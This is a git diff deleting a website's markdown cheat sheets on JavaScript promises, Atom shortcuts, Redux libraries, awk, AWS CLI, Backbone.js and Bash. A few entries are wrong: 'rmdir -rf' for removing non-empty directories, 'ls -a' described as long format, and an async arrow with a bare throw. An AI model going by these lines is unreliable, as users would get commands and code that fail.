-promisedOperation() .then( val => value + 1, // Called once the promise is fulfilled err => { // Called if the promise is rejected if (err === someKnownErr) return defaultVal; else throw err; } ) .catch( err => console.log(err); // Called if the promise is rejected ) .finally( () => console.log('Done'); // Called once any outcome is available );
-
--   All three of the above methods will not be executed at least until the next tick, even for promises that already have an outcome.
-
-#### Combining promises
-
--   `Promise.all()` turns an array of promises into a promise of an array.
--   If any promise is rejected, the error will pass through.
--   `Promise.race()` passes through the first settled promise.
-
-Promise .all(\[ p1, p2, p3 ]) .then((\[ v1, v2, v3 ]) => { // Values always correspond to the order of promises, // not the order they resolved in (i.e. v1 corresponds to p1) });
-
-Promise .race(\[ p1, p2, p3 ]) .then(val => { // val will take the value of the first resolved promise });
-
-#### async/await
-
--   Calling an `async` function always results in a promise.
--   `(async () => value)()` will resolve to `value`.
--   `(async () => throw err)()` will reject with an error.
--   `await` waits for a promise to be fulfilled and returns its value.
--   `await` can only be used in `async` functions.
--   `await` also accepts non-promise values.
--   `await` always waits at least until the next tick before resolving, even when waiting already fulfilled promises or non-promise values.
-
-async () => { try { let val = await promisedValue(); // Do stuff here } catch (err) { // Handle error } }
diff --git a/docs/content/cheat-sheets/atom.md b/docs/content/cheat-sheets/atom.md
deleted file mode 100644
index c0d919bdf0..0000000000
--- a/docs/content/cheat-sheets/atom.md
+++ /dev/null
@@ -1,130 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Atom
-category: Apps
-
----
-
-## Shortcuts
-
-### Tree
-
-| Shortcut | Description         |
-| -------- | ------------------- |
-| `⌘\`     | Toggle tree         |
-| `⌘⇧\`    | Reveal current file |
-
-{: .-shortcuts}
-
-### Comments
-
-| Shortcut | Description     |
-| -------- | --------------- |
-| `⌘/`     | Toggle comments |
-
-{: .-shortcuts}
-
-### View
-
-| Shortcut | Description            |
-| -------- | ---------------------- |
-| `⌘k` `←` | Split pane to the left |
-| ---      | ---                    |
-| `⌘⌥=`    | Grow pane              |
-| `⌘⌥-`    | Shrink pane            |
-| ---      | ---                    |
-| `^⇧←`    | Move tab to left       |
-
-{: .-shortcuts}
-
-### Bracket matcher
-
-| Shortcut | Description                    |
-| -------- | ------------------------------ |
-| `^m`     | Go to matching bracket         |
-| `^]`     | Remove brackets from selection |
-| `^⌘m`    | Select inside brackets         |
-| `⌥⌘.`    | Close tag                      |
-
-{: .-shortcuts}
-
-### Symbols view
-
-| Shortcut | Description                      |
-| -------- | -------------------------------- |
-| `^⌥↓`    | Jump to declaration under cursor |
-| `^⇧r`    | Show tags                        |
-
-{: .-shortcuts}
-
-Symbols view enables Ctags support for Atom.
-
-See: [Symbols view](https://atom.io/packages/symbols-view)
-
-### Git
-
-| `^⇧9` | Show Git pane |
-| `^⇧8` | Show GitHub pane |
-{: .-shortcuts}
-
-### Editing
-
-| Shortcut | Description    |
-| -------- | -------------- |
-| `⌘d`     | Select word    |
-| `⌘l`     | Select line    |
-| ---      | ---            |
-| `⌘↓`     | Move line down |
-| `⌘↑`     | Move line up   |
-| ---      | ---            |
-| `⌘⏎`     | New line below |
-| `⌘⇧⏎`    | New line above |
-| ---      | ---            |
-| `⌘⇧k`    | Delete line    |
-| `⌘⇧d`    | Duplicate line |
-
-{: .-shortcuts}
-
-### Project
-
-| Shortcut | Description             |
-| -------- | ----------------------- |
-| `⌘⇧p`    | Command palette         |
-| `⌘⇧a`    | Add project folder      |
-| ---      | ---                     |
-| `⌘n`     | New file                |
-| `⌘⇧n`    | New window              |
-| ---      | ---                     |
-| `⌘f`     | Find in file            |
-| `⌘⇧f`    | Find in project         |
-| `⌘t`     | Search files in project |
-
-{: .-shortcuts}
-
-## Notes
-
-### ⌘
-
--   For Windows and Linux, `⌘` is the `Control` key.
--   For macOS, it's the `Command` key.
-
-### ⌥
-
--   For Windows and Linux, `⌥` is the `Alt` key.
--   For macOS, it's the `Option` key.
diff --git a/docs/content/cheat-sheets/awesome-redux.md b/docs/content/cheat-sheets/awesome-redux.md
deleted file mode 100644
index e0b853700c..0000000000
--- a/docs/content/cheat-sheets/awesome-redux.md
+++ /dev/null
@@ -1,194 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Awesome Redux
-category: React
-
----
-
-### redux-actions
-
-Create action creators in flux standard action format.
-{: .-setup}
-
-```js
-increment = createAction('INCREMENT', (amount) => amount);
-increment = createAction('INCREMENT'); // same
-```
-
-```js
-increment(42) === { type: 'INCREMENT', payload: 42 };
-```
-
-```js
-// Errors are handled for you:
-err = new Error();
-increment(err) === { type: 'INCREMENT', payload: err, error: true };
-```
-
-[redux-actions](https://www.npmjs.com/package/redux-actions)
-{: .-crosslink}
-
-### flux-standard-action
-
-A standard for flux action objects. An action may have an `error`, `payload` and `meta` and nothing else.
-{: .-setup}
-
-```js
-{ type: 'ADD_TODO', payload: { text: 'Work it' } }
-{ type: 'ADD_TODO', payload: new Error(), error: true }
-```
-
-[flux-standard-action](https://github.com/acdlite/flux-standard-action)
-{: .-crosslink}
-
-### redux-multi
-
-Dispatch multiple actions in one action creator.
-{: .-setup}
-
-```js
-store.dispatch([
-    { type: 'INCREMENT', payload: 2 },
-    { type: 'INCREMENT', payload: 3 }
-]);
-```
-
-[redux-multi](https://github.com/ashaffer/redux-multi)
-{: .-crosslink}
-
-### reduce-reducers
-
-Combines reducers (like _combineReducers()_), but without namespacing magic.
-{: .-setup}
-
-```js
-re = reduceReducers(
-    (state, action) => state + action.number,
-    (state, action) => state + action.number
-);
-
-re(10, { number: 2 }); //=> 14
-```
-
-[reduce-reducers](https://www.npmjs.com/package/reduce-reducers)
-{: .-crosslink}
-
-### redux-logger
-
-Logs actions to your console.
-{: .-setup}
-
-```js
-// Nothing to see here
-```
-
-[redux-logger](https://github.com/evgenyrodionov/redux-logger)
-{: .-crosslink}
-
-## Async
-
-### redux-promise
-
-Pass promises to actions. Dispatches a flux-standard-action.
-{: .-setup}
-
-```js
-increment = createAction('INCREMENT'); // redux-actions
-increment(Promise.resolve(42));
-```
-
-[redux-promise](https://github.com/acdlite/redux-promise)
-{: .-crosslink}
-
-### redux-promises
-
-Sorta like that, too. Works by letting you pass _thunks_ (functions) to `dispatch()`. Also has 'idle checking'.
-{: .-setup}
-
-```js
-fetchData = (url) => (dispatch) => {
-  dispatch({ type: 'FETCH_REQUEST' })
-  fetch(url)
-    .then((data) => dispatch({ type: 'FETCH_DONE', data })
-    .catch((error) => dispatch({ type: 'FETCH_ERROR', error })
-})
-
-store.dispatch(fetchData('/posts'))
-```
-
-```js
-// That's actually shorthand for:
-fetchData('/posts')(store.dispatch);
-```
-
-[redux-promises](https://www.npmjs.com/package/redux-promises)
-{: .-crosslink}
-
-### redux-effects
-
-Pass side effects declaratively to keep your actions pure.
-{: .-setup}
-
-```js
-{
-  type: 'EFFECT_COMPOSE',
-  payload: {
-    type: 'FETCH'
-    payload: {url: '/some/thing', method: 'GET'}
-  },
-  meta: {
-    steps: [ [success, failure] ]
-  }
-}
-```
-
-[redux-effects](https://www.npmjs.com/package/redux-effects)
-{: .-crosslink}
-
-### redux-thunk
-
-Pass "thunks" to as actions. Extremely similar to redux-promises, but has support for getState.
-{: .-setup}
-
-```js
-fetchData = (url) => (dispatch, getState) => {
-  dispatch({ type: 'FETCH_REQUEST' })
-  fetch(url)
-    .then((data) => dispatch({ type: 'FETCH_DONE', data })
-    .catch((error) => dispatch({ type: 'FETCH_ERROR', error })
-})
-
-store.dispatch(fetchData('/posts'))
-```
-
-```js
-// That's actually shorthand for:
-fetchData('/posts')(store.dispatch, store.getState);
-```
-
-```js
-// Optional: since fetchData returns a promise, it can be chained
-// for server-side rendering
-store.dispatch(fetchPosts()).then(() => {
-    ReactDOMServer.renderToString(<MyApp store={store} />);
-});
-```
-
-[redux-thunk](https://www.npmjs.com/package/redux-thunk)
-{: .-crosslink}
diff --git a/docs/content/cheat-sheets/awk.md b/docs/content/cheat-sheets/awk.md
deleted file mode 100644
index b15a237007..0000000000
--- a/docs/content/cheat-sheets/awk.md
+++ /dev/null
@@ -1,31 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-# To sum integers from a file or stdin, one integer per line:
-
-printf '1\n2\n3\n' | awk '{ sum += $1} END {print sum}'
-
-# To use a specific character as separator to sum integers from a file or stdin:
-
-printf '1:2:3' | awk -F ":" '{print $1+$2+$3}'
-
-# To print a multiplication table:
-
-seq 9 | sed 'H;g' | awk -v RS='' '{for(i=1;i<=NF;i++)printf("%dx%d=%d%s", i, NR, i\*NR, i==NR?"\n":"\t")}'
-
-# To specify an output separator character:
-
-printf '1 2 3' | awk 'BEGIN {OFS=":"}; {print $1,$2,$3}'
diff --git a/docs/content/cheat-sheets/aws-cli-1.md b/docs/content/cheat-sheets/aws-cli-1.md
deleted file mode 100644
index df55b122e9..0000000000
--- a/docs/content/cheat-sheets/aws-cli-1.md
+++ /dev/null
@@ -1 +0,0 @@
-# AWS CLI
diff --git a/docs/content/cheat-sheets/aws-cli.md b/docs/content/cheat-sheets/aws-cli.md
deleted file mode 100644
index df55b122e9..0000000000
--- a/docs/content/cheat-sheets/aws-cli.md
+++ /dev/null
@@ -1 +0,0 @@
-# AWS CLI
diff --git a/docs/content/cheat-sheets/awscli.md b/docs/content/cheat-sheets/awscli.md
deleted file mode 100644
index 9f1a72454d..0000000000
--- a/docs/content/cheat-sheets/awscli.md
+++ /dev/null
@@ -1,87 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: AWS CLI
-category: Devops
-
----
-
-### EC2
-
-```
-aws ec2 describe-instances
-aws ec2 start-instances --instance-ids i-12345678c
-aws ec2 terminate-instances --instance-ids i-12345678c
-```
-
-### S3
-
-```
-aws s3 ls s3://mybucket
-aws s3 rm s3://mybucket/folder --recursive
-aws s3 cp myfolder s3://mybucket/folder --recursive
-aws s3 sync myfolder s3://mybucket/folder --exclude *.tmp
-```
-
-### ECS
-
-```
-aws ecs create-cluster
-  --cluster-name=NAME
-  --generate-cli-skeleton
-
-aws ecs create-service
-```
-
-### Homebrew
-
-```
-brew install awscli
-aws configure
-```
-
-### Configuration profiles
-
-```
-aws configure --profile project1
-aws configure --profile project2
-```
-
-## Elastic Beanstalk
-
-### Configuration
-
--   .elasticbeanstalk/config.yml - application config
--   .elasticbeanstalk/dev-env.env.yml - environment config
-
-```
-eb config
-```
-
-See: <http://docs.aws.amazon.com/elasticbeanstalk/latest/dg/command-options.html>
-
-## ebextensions
-
--   <http://docs.aws.amazon.com/elasticbeanstalk/latest/dg/customize-containers.html>
--   <http://docs.aws.amazon.com/elasticbeanstalk/latest/dg/customize-containers-ec2.html>
-
-## Also see
-
--   [AWS CLI](https://aws.amazon.com/cli/)
--   [Documentation](http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-welcome.html)
--   [All commands](http://docs.aws.amazon.com/cli/latest/reference/#available-services)
diff --git a/docs/content/cheat-sheets/backbone.md b/docs/content/cheat-sheets/backbone.md
deleted file mode 100644
index 2260f11a7a..0000000000
--- a/docs/content/cheat-sheets/backbone.md
+++ /dev/null
@@ -1,297 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Backbone.js
-
-category: JavaScript libraries
-
----
-
-### Binding events
-
-```js
-.on('event', callback)
-.on('event', callback, context)
-```
-
-```js
-.on({
-  'event1': callback,
-  'event2': callback
-})
-```
-
-```js
-.on('all', callback)
-```
-
-```js
-.once('event', callback)   // Only happens once
-```
-
-### Unbinding events
-
-```js
-object.off('change', onChange); // just the `onChange` callback
-object.off('change'); // all 'change' callbacks
-object.off(null, onChange); // `onChange` callback for all events
-object.off(null, null, context); // all callbacks for `context` all events
-object.off(); // all
-```
-
-### Events
-
-```js
-object.trigger('event');
-```
-
-```js
-view.listenTo(object, event, callback);
-view.stopListening();
-```
-
-### List of events
-
--   Collection:
-
-    -   `add` (model, collection, options)
-    -   `remove` (model, collection, options)
-    -   `reset` (collection, options)
-    -   `sort` (collection, options)
-
--   Model:
-
-    -   `change` (model, options)
-    -   `change:[attr]` (model, value, options)
-    -   `destroy` (model, collection, options)
-    -   `error` (model, xhr, options)
-
--   Model and collection:
-
-    -   `request` (model, xhr, options)
-    -   `sync` (model, resp, options)
-
--   Router:
-    -   `route:[name]` (params)
-    -   `route` (router, route, params)
-
-## Views
-
-### Defining
-
-```js
-// All attributes are optional
-var View = Backbone.View.extend({
-  model: doc,
-```
-
-```js
-  tagName: 'div',
-  className: 'document-item',
-  id: "document-" + doc.id,
-  attributes: { href: '#' },
-```
-
-```js
-  el: 'body',
-```
-
-```js
-  events: {
-    'click button.save': 'save',
-    'click .cancel': function() { ··· },
-    'click': 'onclick'
-  },
-```
-
-```js
-  constructor: function() { ··· },
-  render: function() { ··· }
-})
-```
-
-### Instantiating
-
-```js
-view = new View()
-view = new View({ el: ··· })
-```
-
-### Methods
-
-```js
-view.$el.show();
-view.$('input');
-```
-
-```js
-view.remove();
-```
-
-```js
-view.delegateEvents();
-view.undelegateEvents();
-```
-
-## Models
-
-### Defining
-
-```js
-// All attributes are optional
-var Model = Backbone.Model.extend({
-  defaults: {
-    'author': 'unknown'
-  },
-  idAttribute: '_id',
-  parse: function() { ··· }
-})
-```
-
-### Instantiating
-
-```js
-var obj = new Model({ title: 'Lolita', author: 'Nabokov' });
-```
-
-```js
-var obj = new Model({ collection: ··· })
-```
-
-### Methods
-
-```js
-obj.id;
-obj.cid; // → 'c38' (client-side ID)
-```
-
-```js
-obj.clone();
-```
-
-```js
-obj.hasChanged('title');
-obj.changedAttributes(); // false, or hash
-obj.previousAttributes(); // false, or hash
-obj.previous('title');
-```
-
-```js
-obj.isNew();
-```
-
-```js
-obj.set({ title: 'A Study in Pink' });
-obj.set({ title: 'A Study in Pink' }, { validate: true, silent: true });
-obj.unset('title');
-```
-
-```js
-obj.get('title');
-obj.has('title');
-obj.escape('title'); /* Like .get() but HTML-escaped */
-```
-
-```js
-obj.clear();
-obj.clear({ silent: true });
-```
-
-```js
-obj.save();
-obj.save({ attributes });
-obj.save(null, {
-    silent: true,
-    patch: true,
-    wait: true,
-    success: callback,
-    error: callback
-});
-```
-
-```js
-obj.destroy();
-obj.destroy({
-    wait: true,
-    success: callback,
-    error: callback
-});
-```
-
-```js
-obj.toJSON();
-```
-
-```js
-obj.fetch();
-obj.fetch({ success: callback, error: callback });
-```
-
-### Validation
-
-```js
-var Model = Backbone.Model.extend({
-    validate: function (attrs, options) {
-        if (attrs.end < attrs.start) {
-            return "Can't end before it starts";
-        }
-    }
-});
-```
-
-{: data-line="2"}
-
-```js
-obj.validationError  //=> "Can't end before it starts"
-obj.isValid()
-obj.on('invalid', function (model, error) { ··· })
-```
-
-```js
-// Triggered on:
-obj.save()
-obj.set({ ··· }, { validate: true })
-```
-
-### Custom URLs
-
-```js
-var Model = Backbone.Model.extend({
-  // Single URL (string or function)
-  url: '/account',
-  url: function() { return '/account' },
-```
-
-```js
-  // Both of these two work the same way
-  url: function() { return '/books/' + this.id }),
-  urlRoot: '/books'
-})
-```
-
-```js
-var obj = new Model({ url: ··· })
-var obj = new Model({ urlRoot: ··· })
-```
-
-## References
-
-{: .-one-column}
-
--   [Backbone website](http://backbonejs.org/) _(backbonejs.org)_
--   [Backbone patterns](http://ricostacruz.com/backbone-patterns/) _(ricostacruz.com)_
diff --git a/docs/content/cheat-sheets/bash-cheat-sheet.md b/docs/content/cheat-sheets/bash-cheat-sheet.md
deleted file mode 100644
index 883e4507af..0000000000
--- a/docs/content/cheat-sheets/bash-cheat-sheet.md
+++ /dev/null
@@ -1,189 +0,0 @@
----
-cover: >-
-    ../../../.gitbook/assets/68747470733a2f2f7777772e766563746f726c6f676f2e7a6f6e652f6c6f676f732f676e755f626173682f676e755f626173682d69636f6e2e737667.png
-coverY: -16.14267515923567
----
-
-# Bash Cheat Sheet
-
--   One Liners
--   -   Block Bad IPs
--   If Statements
-    -   Check if args are passed
-    -   Check if required variables exist
-    -   Check if environment variables exists
--   While Loops
--   -   Run for 5 Seconds
--   Redirecting Outputs
-    -   Stdout, Stderr
-
-### Commands
-
-#### tr command
-
-Remove whitespace:
-
-```
-$ echo 'foo - bar' | tr -d '[:space:]'
-foo-bar
-```
-
-### One Liners
-
-#### Block Bad IPs
-
-Use iptables to block all bad ip addresses:
-
-```
-$ cat /var/log/maillog | grep 'lost connection after AUTH from unknown' | tail -n 5
-May 10 11:19:49 srv4 postfix/smtpd[1486]: lost connection after AUTH from unknown[185.36.81.145]
-May 10 11:21:41 srv4 postfix/smtpd[1762]: lost connection after AUTH from unknown[185.36.81.164]
-May 10 11:21:56 srv4 postfix/smtpd[1762]: lost connection after AUTH from unknown[175.139.231.129]
-May 10 11:23:51 srv4 postfix/smtpd[1838]: lost connection after AUTH from unknown[185.211.245.170]
-May 10 11:24:02 srv4 postfix/smtpd[1838]: lost connection after AUTH from unknown[185.211.245.170]
-```
-
-Get the data to show only IPs:
-
-```
-cat /var/log/maillog | grep 'lost connection after AUTH from unknown' | cut -d'[' -f3 | cut -d ']' -f1 | tail -n5
-185.36.81.164
-175.139.231.129
-185.211.245.170
-185.211.245.170
-185.36.81.173
-```
-
-Get the uniqe IP addresses:
-
-```
-$ cat /var/log/maillog | grep 'lost connection after AUTH from unknown' | cut -d'[' -f3 | cut -d ']' -f1 | sort | uniq
-103.194.70.16
-112.196.77.202
-113.172.210.19
-113.173.182.119
-139.59.224.234
-```
-
-Redirect the output to iptables:
-
-```
-$ for ip in $(cat /var/log/maillog | grep 'lost connection after AUTH from unknown' | cut -d'[' -f3 | cut -d ']' -f1 | sort | uniq); do iptables -I INPUT -s ${ip} -p tcp --dport 25 -j DROP; done
-```
-
-### If Statements
-
-#### Check if args are passed
-
-```
-if [[ $# -eq 0 ]] ; then
-    echo 'need to pass args'
-    exit 0
-fi
-```
-
-### Check if required variables exist
-
-```
-if [ $1 == "one" ] || [ $1 == "two" ]
-then
-  echo "argument 1 has the value one or two"
-  exit 0
-else
-  echo "I require argument 1 to be one or two"
-  exit 1
-fi
-```
-
-### Check if environment variables exists
-
-```
-if [ -z ${OWNER} ] || [ -z ${NAME} ]
-then
-  echo "does not meet requirements of both environment variables"
-  exit 1
-else
-  echo "required environment variables exists"
-fi
-```
-
-### While Loops
-
-#### Run process for 5 Seconds
-
-```
-set -ex
-count=0
-echo "boot"
-ping localhost &
-while [ $count -le 5 ]
-  do
-    sleep 1
-    count=$((count + 1))
-    echo $count
-  done
-ps aux | grep ping
-echo "tear down"
-kill $!
-sleep 2
-```
-
-### Redirecting Outputs
-
-#### Stdout, Stderr
-
-Redirect stderr to /dev/null:
-
-```
-grep -irl faker . 2>/dev/null
-```
-
-Redirect stdout to one file and stderr to another file:
-
-```
-grep -irl faker . > out 2>error
-```
-
-Redirect stderr to stdout (&1), and then redirect stdout to a file:
-
-```
-grep -irl faker . >out 2>&1
-```
-
-Redirect both to a file:
-
-```
-grep -irl faker . &> file.log
-```
-
-```bash
-	pushd
-	# goes to a directory from directory
-	popd
-	# returns to the original directory
-	file
-	# gives info about the file
-	locate <name>
-	# locates find
-	sudo updatedb
-	# updates database
-	which <name>
-	# tells if install
-	history
-	# shows command history
-	whatis
-	# tells info about command
-	apropos <search term>
-	# displays commands with that search term
-	man <command>
-	# displays manual for that command
-	dig <address> <+trace>
-	# DNS Lookup with trace
-	# trace >> track in real-time the pathway taken by a packet on an IP network from source to destination, reporting the IP addresses of all the routers it pinged in between
-```
-
-## Thing that are basic but I need to work on
-
-cat mv chmod
-
-\------------ I Got to 41 minutes of the video ------------------------
diff --git a/docs/content/cheat-sheets/bash-cheatsheet.md b/docs/content/cheat-sheets/bash-cheatsheet.md
deleted file mode 100644
index 2e9c3ba4f6..0000000000
--- a/docs/content/cheat-sheets/bash-cheatsheet.md
+++ /dev/null
@@ -1,549 +0,0 @@
----
-title: Bash Cheatsheet
-excerpt: >-
-    Variables are how programming and scripting languages represent data. A variable is nothing more than a label, a name assigned to a location or set of locations in computer memory holding an item of data.Variables appear in arithmetic operations and manipulation of quantities, and in string parsing.
-date: '2021-11-27'
-thumb_img_path: images/bash.png
-thumb_img_alt: bash cheatsheet
-content_img_path: images/8.jpg
-content_img_alt: bash cheatsheet
-seo:
-    title: bash cheatsheet
-    description: >-
-        The Grand Canyon is a steep-sided canyon carved by the Colorado River in
-        Arizona
-    extra:
-        - name: 'og:type'
-          value: article
-          keyName: property
-        - name: 'og:title'
-          value: bash cheatsheet
-          keyName: property
-        - name: 'og:description'
-          value: >-
-              The Grand Canyon is a steep-sided canyon carved by the Colorado River in
-              Arizona
-          keyName: property
-        - name: 'og:image'
-          value: images/8.jpg
-          keyName: property
-          relativeUrl: true
-        - name: 'twitter:card'
-          value: summary_large_image
-        - name: 'twitter:title'
-          value: bash cheatsheet
-        - name: 'twitter:description'
-          value: >-
-              The Grand Canyon is a steep-sided canyon carved by the Colorado River in
-              Arizona
-        - name: 'twitter:image'
-          value: images/8.jpg
-          relativeUrl: true
-template: post
-subtitle: Cheat Sheet
----
-
-## Bash Cheat Sheet:
-
-```sh
-#!/bin/bash
-##############################################################################
-# SHORTCUTS and HISTORY
-##############################################################################
-
-CTRL+A  # move to beginning of line
-CTRL+B  # moves backward one character
-CTRL+C  # halts the current command
-CTRL+D  # deletes one character backward or logs out of current session, similar to exit
-CTRL+E  # moves to end of line
-CTRL+F  # moves forward one character
-CTRL+G  # aborts the current editing command and ring the terminal bell
-CTRL+H  # deletes one character under cursor (same as DELETE)
-CTRL+J  # same as RETURN
-CTRL+K  # deletes (kill) forward to end of line
-CTRL+L  # clears screen and redisplay the line
-CTRL+M  # same as RETURN
-CTRL+N  # next line in command history
-CTRL+O  # same as RETURN, then displays next line in history file
-CTRL+P  # previous line in command history
-CTRL+R  # searches backward
-CTRL+S  # searches forward
-CTRL+T  # transposes two characters
-CTRL+U  # kills backward from point to the beginning of line
-CTRL+V  # makes the next character typed verbatim
-CTRL+W  # kills the word behind the cursor
-CTRL+X  # lists the possible filename completions of the current word
-CTRL+Y  # retrieves (yank) last item killed
-CTRL+Z  # stops the current command, resume with fg in the foreground or bg in the background
-
-ALT+B   # moves backward one word
-ALT+D   # deletes next word
-ALT+F   # moves forward one word
-ALT+H   # deletes one character backward
-ALT+T   # transposes two words
-ALT+.   # pastes last word from the last command. Pressing it repeatedly traverses through command history.
-ALT+U   # capitalizes every character from the current cursor position to the end of the word
-ALT+L   # uncapitalizes every character from the current cursor position to the end of the word
-ALT+C   # capitalizes the letter under the cursor. The cursor then moves to the end of the word.
-ALT+R   # reverts any changes to a command you've pulled from your history if you've edited it.
-
-BACKSPACE  # deletes one character backward
-DELETE     # deletes one character under cursor
-
-history   # shows command line history
-!!        # repeats the last command
-!<n>      # refers to command line 'n'
-!<string> # refers to command starting with 'string'
-
-exit      # logs out of current session
-
-##############################################################################
-# BASH BASICS
-##############################################################################
-
-env                 # displays all environment variables
-
-echo $SHELL         # displays the shell you're using
-echo $BASH_VERSION  # displays bash version
-
-bash                # if you want to use bash (type exit to go back to your previously opened shell)
-whereis bash        # locates the binary, source and manual-page for a command
-which bash          # finds out which program is executed as 'bash' (default: /bin/bash, can change across environments)
-
-clear               # clears content on window (hide displayed lines)
-
-##############################################################################
-# FILE COMMANDS
-##############################################################################
-
-ls                            # lists your files in current directory, ls <dir> to print files in a specific directory
-ls -l                         # lists your files in 'long format', which contains the exact size of the file, who owns the file and who has the right to look at it, and when it was last modified
-ls -a                         # lists all files in 'long format', including hidden files (name beginning with '.')
-ln -s <filename> <link>       # creates symbolic link to file
-touch <filename>              # creates or updates (edit) your file
-cat <filename>                # prints file raw content (will not be interpreted)
-any_command > <filename>      # '>' is used to perform redirections, it will set any_command's stdout to file instead of "real stdout" (generally /dev/stdout)
-more <filename>               # shows the first part of a file (move with space and type q to quit)
-head <filename>               # outputs the first lines of file (default: 10 lines)
-tail <filename>               # outputs the last lines of file (useful with -f option) (default: 10 lines)
-vim <filename>                # opens a file in VIM (VI iMproved) text editor, will create it if it doesn't exist
-mv <filename1> <dest>         # moves a file to destination, behavior will change based on 'dest' type (dir: file is placed into dir; file: file will replace dest (tip: useful for renaming))
-cp <filename1> <dest>         # copies a file
-rm <filename>                 # removes a file
-find . -name <name> <type>    # searches for a file or a directory in the current directory and all its sub-directories by its name
-diff <filename1> <filename2>  # compares files, and shows where they differ
-wc <filename>                 # tells you how many lines, words and characters there are in a file. Use -lwc (lines, word, character) to ouput only 1 of those informations
-sort <filename>               # sorts the contents of a text file line by line in alphabetical order, use -n for numeric sort and -r for reversing order.
-sort -t -k <filename>         # sorts the contents on specific sort key field starting from 1, using the field separator t.
-chmod -options <filename>     # lets you change the read, write, and execute permissions on your files (more infos: SUID, GUID)
-gzip <filename>               # compresses files using gzip algorithm
-gunzip <filename>             # uncompresses files compressed by gzip
-gzcat <filename>              # lets you look at gzipped file without actually having to gunzip it
-lpr <filename>                # prints the file
-lpq                           # checks out the printer queue
-lprm <jobnumber>              # removes something from the printer queue
-genscript                     # converts plain text files into postscript for printing and gives you some options for formatting
-dvips <filename>              # prints .dvi files (i.e. files produced by LaTeX)
-grep <pattern> <filenames>    # looks for the string in the files
-grep -r <pattern> <dir>       # search recursively for pattern in directory
-head -n file_name | tail +n   # Print nth line from file.
-head -y lines.txt | tail +x   # want to display all the lines from x to y. This includes the xth and yth lines.
-
-##############################################################################
-# DIRECTORY COMMANDS
-##############################################################################
-
-mkdir <dirname>               # makes a new directory
-rmdir <dirname>               # remove an empty directory
-rmdir -rf <dirname>           # remove a non-empty directory
-mv <dir1> <dir2>              # rename a directory from <dir1> to <dir2>
-cd                            # changes to home
-cd ..                         # changes to the parent directory
-cd <dirname>                  # changes directory
-cp -r <dir1> <dir2>           # copy <dir1> into <dir2> including sub-directories
-pwd                           # tells you where you currently are
-cd ~                          # changes to home.
-
-##############################################################################
-# SSH, SYSTEM INFO & NETWORK COMMANDS
-##############################################################################
-
-ssh user@host            # connects to host as user
-ssh -p <port> user@host  # connects to host on specified port as user
-ssh-copy-id user@host    # adds your ssh key to host for user to enable a keyed or passwordless login
-
-whoami                   # returns your username
-passwd                   # lets you change your password
-quota -v                 # shows what your disk quota is
-date                     # shows the current date and time
-cal                      # shows the month's calendar
-uptime                   # shows current uptime
-w                        # displays whois online
-finger <user>            # displays information about user
-uname -a                 # shows kernel information
-man <command>            # shows the manual for specified command
-df                       # shows disk usage
-du <filename>            # shows the disk usage of the files and directories in filename (du -s give only a total)
-last <yourUsername>      # lists your last logins
-ps -u yourusername       # lists your processes
-kill <PID>               # kills the processes with the ID you gave
-killall <processname>    # kill all processes with the name
-top                      # displays your currently active processes
-lsof                     # lists open files
-bg                       # lists stopped or background jobs ; resume a stopped job in the background
-fg                       # brings the most recent job in the foreground
-fg <job>                 # brings job to the foreground
-
-ping <host>              # pings host and outputs results
-whois <domain>           # gets whois information for domain
-dig <domain>             # gets DNS information for domain
-dig -x <host>            # reverses lookup host
-wget <file>              # downloads file
-
-##############################################################################
-# VARIABLES
-##############################################################################
-
-varname=value                # defines a variable
-varname=value command        # defines a variable to be in the environment of a particular subprocess
-echo $varname                # checks a variable's value
-echo $$                      # prints process ID of the current shell
-echo $!                      # prints process ID of the most recently invoked background job
-echo $?                      # displays the exit status of the last command
-read <varname>               # reads a string from the input and assigns it to a variable
-let <varname> = <equation>   # performs mathematical calculation using operators like +, -, *, /, %
-export VARNAME=value         # defines an environment variable (will be available in subprocesses)
-
-array[0]=valA                # how to define an array
-array[1]=valB
-array[2]=valC
-array=([2]=valC [0]=valA [1]=valB)  # another way
-array=(valA valB valC)              # and another
-
-${array[i]}                  # displays array's value for this index. If no index is supplied, array element 0 is assumed
-${#array[i]}                 # to find out the length of any element in the array
-${#array[@]}                 # to find out how many values there are in the array
-
-declare -a                   # the variables are treated as arrays
-declare -f                   # uses function names only
-declare -F                   # displays function names without definitions
-declare -i                   # the variables are treated as integers
-declare -r                   # makes the variables read-only
-declare -x                   # marks the variables for export via the environment
-
-${varname:-word}             # if varname exists and isn't null, return its value; otherwise return word
-${varname:=word}             # if varname exists and isn't null, return its value; otherwise set it word and then return its value
-${varname:?message}          # if varname exists and isn't null, return its value; otherwise print varname, followed by message and abort the current command or script
-${varname:+word}             # if varname exists and isn't null, return word; otherwise return null
-${varname:offset:length}     # performs substring expansion. It returns the substring of $varname starting at offset and up to length characters
-
-${variable#pattern}          # if the pattern matches the beginning of the variable's value, delete the shortest part that matches and return the rest
-${variable##pattern}         # if the pattern matches the beginning of the variable's value, delete the longest part that matches and return the rest
